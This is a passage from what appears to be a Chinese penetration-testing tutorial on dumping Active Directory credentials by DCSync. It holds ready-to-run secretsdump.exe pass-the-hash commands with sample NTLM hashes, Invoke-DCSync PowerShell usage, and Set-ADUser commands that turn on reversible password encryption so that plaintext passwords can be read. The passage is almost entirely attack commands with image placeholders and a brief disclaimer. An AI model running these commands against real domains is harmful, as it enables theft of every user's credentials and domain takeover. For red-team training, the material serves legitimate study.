secretsdump.exe yao.com/administrator@192.168.108.10 -hashes aad3b435b51404eeaad3b435b51404ee:c8fd0a32e7389a2f83144d4e49d4904a(域内主机)

image-20250804011316854

1
secretsdump.exe yao.com/admin@192.168.108.10 -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab(工作组主机)

image-20250804011335588

powershell脚本Invoke-DCSync.ps

需要有Dcsync同步权限的用户,不限域内机器(只能读取域内用户Hash,无机器用户)

1
2
powershell-import Invoke-DCSync.ps1
powershell Invoke-DCSync

image-20250804011421447

读取明文密码

首先需要设置用户可逆加密存储,通过powershell执行(一般在域控上执行,或安装了Active Directory 相关的管理工具的域内主机)

1
2
3
4
Import-Module ActiveDirectory#导入 Active Directory 模块
Set-ADUser yao -AllowReversiblePasswordEncryption $true#将yao域用户设置为可逆加密存储属性
Set-ADUser yao -AllowReversiblePasswordEncryption $false#将yao域用户取消设置为可逆加密存储属性
get-adobject -ldapfilter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=128))"#查看域内有可逆加密存储属性的用户

image-20250804011555806

1
2
powershell.exe "Import-Module ActiveDirectory;get-adobject -ldapfilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=128))'"
powershell.exe "Import-Module ActiveDirectory;Set-ADUser yao -AllowReversiblePasswordEncryption $true"

image-20250804011643126

secretsdump工具

适用于工作组或域内主机,主机需要和域可通信(需要提供有Dcsync同步权限的用户的明文密码或Hash或AES key)

1
secretsdump.exe yao.com/administrator:Dc-2008@123@192.168.108.10 (明文密码含@可能无法正确识别)

image-20250804011745933

1
secretsdump.exe yao.com/administrator@192.168.108.10 -hashes aad3b435b51404eeaad3b435b51404ee:c8fd0a32e7389a2f83144d4e49d4904a(域内主机)

image-20250804011802670

1
secretsdump.exe yao.com/admin@192.168.108.10 -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab(工作组主机)

image-20250804011823489

当然也可以通过卷影拷贝技术导出ntds后解密获取明文密码

声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。